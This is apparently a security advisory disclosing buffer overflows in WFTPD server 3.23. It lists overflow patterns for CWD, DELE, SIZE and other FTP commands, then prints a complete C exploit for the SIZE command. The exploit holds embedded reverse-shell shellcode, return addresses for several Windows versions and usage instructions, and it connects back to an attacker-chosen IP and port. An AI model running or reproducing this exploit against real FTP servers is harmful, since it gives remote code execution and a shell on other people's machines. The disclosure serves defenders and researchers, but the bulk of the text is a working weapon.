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WFTPD Multiple Buffer Overflows (CWD, DELE, MDTM, MKD, RMD, MLST, RNFR,
SIZE, XCWD, XMKD, XRMD)

SUMMARY

<http://www.wftpd.com/wftpdreg.htm&gt; WFTPD Server "is the entry level FTP
server for all Windows platforms". Multiple buffer overflow
vulnerabilities have been found in WFTPD server allowing remote attackers
to cause the product to execute arbitrary code.

DETAILS

Vulnerable Systems:

• WFTPD server version 3.23

The following command combinations can be used to cause the WFTPD to
execute arbitrary code by overflowing its EIP register, NOTE the WFTPD
option: "restrict to home directory and below" should be set to disabled:
buffer["CWD "]+["/"]+["\x90" * 261]+[0x41414141]+["\r\n"]
EIP = 0x41414141

buffer["DELE "]+["/"]+["\x90" * 297]+[0x41414141]+["\r\n"]
EIP = 0x41414141

buffer["MDTM "]+["/"]+["\x90" * 273]+[0x41414141]+["\r\n"]
EIP = 0x41414141

buffer["MKD "]+["/"]+["\x90" * 265]+[0x41414141]+["\r\n"]
EIP = 0x41414141

buffer["RMD "]+["/"]+["\x90" * 261]+[0x41414141]+["\r\n"]
EIP = 0x41414141

buffer["MLST "]+["/"]+["\x90" * 517]+[0x41414141]+["\r\n"]
EIP = 0x41414141

buffer["SIZE "]+["/"]+["\x90" * 525]+[0x41414141]+["\r\n"]
EIP = 0x41414141

buffer["XCWD "]+["/"]+["\x90" * 261]+[0x41414141]+["\r\n"]
EIP = 0x41414141

buffer["XMKD "]+["/"]+["\x90" * 265]+[0x41414141]+["\r\n"]
EIP = 0x41414141

buffer["XRMD "]+["/"]+["\x90" * 261]+[0x41414141]+["\r\n"]
EIP = 0x41414141

Exploit:
///////////////////////////////////////////////////////////////////////
// WFTPD server 3.23 (SIZE) 0day remote buffer overflow exploit ///////
// coded by h07 <[email protected]> /////////////////////////////////////
// tested on XP SP2 polish, 2000 SP4 polish ///////////////////////////
///////////////////////////////////////////////////////////////////////

#include <winsock2.h>
#define BUFF_SIZE 1024
#define PORT 21

//win32 reverse shellcode (metasploit.com)

char shellcode[] =

"\x31\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb6"
"\x10\x92\x98\x83\xeb\xfc\xe2\xf4\x4a\x7a\x79\xd5\x5e\xe9\x6d\x67"
"\x49\x70\x19\xf4\x92\x34\x19\xdd\x8a\x9b\xee\x9d\xce\x11\x7d\x13"
"\xf9\x08\x19\xc7\x96\x11\x79\xd1\x3d\x24\x19\x99\x58\x21\x52\x01"
"\x1a\x94\x52\xec\xb1\xd1\x58\x95\xb7\xd2\x79\x6c\x8d\x44\xb6\xb0"
"\xc3\xf5\x19\xc7\x92\x11\x79\xfe\x3d\x1c\xd9\x13\xe9\x0c\x93\x73"
"\xb5\x3c\x19\x11\xda\x34\x8e\xf9\x75\x21\x49\xfc\x3d\x53\xa2\x13"
"\xf6\x1c\x19\xe8\xaa\xbd\x19\xd8\xbe\x4e\xfa\x16\xf8\x1e\x7e\xc8"
"\x49\xc6\xf4\xcb\xd0\x78\xa1\xaa\xde\x67\xe1\xaa\xe9\x44\x6d\x48"
"\xde\xdb\x7f\x64\x8d\x40\x6d\x4e\xe9\x99\x77\xfe\x37\xfd\x9a\x9a"
"\xe3\x7a\x90\x67\x66\x78\x4b\x91\x43\xbd\xc5\x67\x60\x43\xc1\xcb"
"\xe5\x53\xc1\xdb\xe5\xef\x42\xf0\xb6\x10\x92\x98\xd0\x78\x92\x98"
"\xd0\x43\x1b\x79\x23\x78\x7e\x61\x1c\x70\xc5\x67\x60\x7a\x82\xc9"
"\xe3\xef\x42\xfe\xdc\x74\xf4\xf0\xd5\x7d\xf8\xc8\xef\x39\x5e\x11"
"\x51\x7a\xd6\x11\x54\x21\x52\x6b\x1c\x85\x1b\x65\x48\x52\xbf\x66"
"\xf4\x3c\x1f\xe2\x8e\xbb\x39\x33\xde\x62\x6c\x2b\xa0\xef\xe7\xb0"
"\x49\xc6\xc9\xcf\xe4\x41\xc3\xc9\xdc\x11\xc3\xc9\xe3\x41\x6d\x48"
"\xde\xbd\x4b\x9d\x78\x43\x6d\x4e\xdc\xef\x6d\xaf\x49\xc0\xfa\x7f"
"\xcf\xd6\xeb\x67\xc3\x14\x6d\x4e\x49\x67\x6e\x67\x66\x78\x62\x12"
"\xb2\x4f\xc1\x67\x60\xef\x42\x98";

void config_shellcode(unsigned long ip, unsigned short port)
{
memcpy(&shellcode[184], &ip, 4);
memcpy(&shellcode[190], &port, 2);
}

unsigned long target[] =
{
0x7d16887b, //JMP ESI (XP SP2 polish)
0x776f2015, //JMP ESI (2000 SP4 polish)
0x7cb9e082, //JMP ESI (XP SP2 english)
0x7848a5f1, //JMP ESI (2000 SP4 english)
0x7ca96834 //JMP ESI (XP SP2 german)
};

char buffer[BUFF_SIZE];

main(int argc, char *argv[])
{
int sock, id, opt, r_len;
unsigned long eip;
unsigned long connectback_IP;
unsigned short connectback_port;
struct hostent *he;
struct sockaddr_in client;
WSADATA wsa;

printf("\n[] WFTPD server 3.23 (SIZE) 0day remote buffer overflow
exploit\n");
printf("[] coded by h07 <[email protected]>\n");

if(argc < 8)
{
printf("[] usage:…\n %s <ID> <opt> <host> <user> <pass>
<connectback_IP> <connectback_port>\n\n", argv[0]);
printf("[] ID list:\n");
printf("[>] 0: XP SP2 polish\n");
printf("[>] 1: 2000 SP4 polish\n");
printf("[>] 2: XP SP2 english\n");
printf("[>] 3: 2000 SP4 english\n");
printf("[>] 4: XP SP2 german\n\n");
printf("[] opt - WFTPD option 'restrict to home directory and
below'\n");
printf("[>] 0: disabled\n");
printf("[>] 1: enabled\n\n");
printf("[] sample: %s 0 0 192.168.0.2 h07 open 192.168.0.1 4444\n\n",
argv[0]);
exit(0);
}

WSAStartup(MAKEWORD(2, 0), &wsa);

id = atoi(argv[1]);
opt = atoi(argv[2]);

if((id > 4) || (id < 0))
{
printf("[-] ID error: unknown target\n");
exit(-1);
}

if((opt > 1) || (opt < 0))
{
printf("[-] opt error: unknown option\n");
exit(-1);
}

eip = target[id];
connectback_IP = inet_addr(argv[6]) ^ (ULONG)0x989210b6;
connectback_port = htons(atoi(argv[7])) ^ (USHORT)0x9892;
config_shellcode(connectback_IP, connectback_port);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if((he = gethostbyname(argv[3])) == NULL)
{
printf("[-] Unable to resolve\n");
exit(-1);
}

client.sin_addr = *((struct in_addr *)he->h_addr);
client.sin_port = htons(PORT);
client.sin_family = AF_INET;

if(connect(sock, (struct sockaddr *) &client, sizeof(client)) == -1)
{
printf("[-] error: connect()\n");
exit(-1);
}

recv(sock, buffer, BUFF_SIZE -1, 0);

//USER
memset(buffer, 0, BUFF_SIZE);
sprintf(buffer, "USER %s\r\n", argv[4]);
send(sock, buffer, strlen(buffer), 0);
recv(sock, buffer, BUFF_SIZE -1, 0);
printf("[*] FTP response: %s", buffer);

//PASS
memset(buffer, 0, BUFF_SIZE);
sprintf(buffer, "PASS %s\r\n", argv[5]);
send(sock, buffer, strlen(buffer), 0);
recv(sock, buffer, BUFF_SIZE -1, 0);
printf("[*] FTP response: %s", buffer);

if(strstr(buffer, "530") != 0) exit(-1);

//SIZE
memset(buffer, 0x90, BUFF_SIZE);
memcpy(buffer, "SIZE ", 5);

switch(opt)
{
case 0:
{
memcpy(buffer + 5, "/", 1);
r_len = 531;
break;
}
case 1:
{
memcpy(buffer + 5, "//", 2);
r_len = 532;
break;
}
}

memcpy(buffer + 7, shellcode, sizeof(shellcode) -1);
((unsigned long)(&buffer[r_len])) = eip;
memcpy(buffer + (r_len + 4), "\r\n\x00", 3);

if(send(sock, buffer, strlen(buffer), 0) != -1)
printf("[+] sending buffer: ok\n");
else
printf("[-] sending buffer: failed\n");

printf("[*] press enter to quit\n");
getchar();
}

//EoF

ADDITIONAL INFORMATION

The information has been provided by <mailto:[email protected]> h07.

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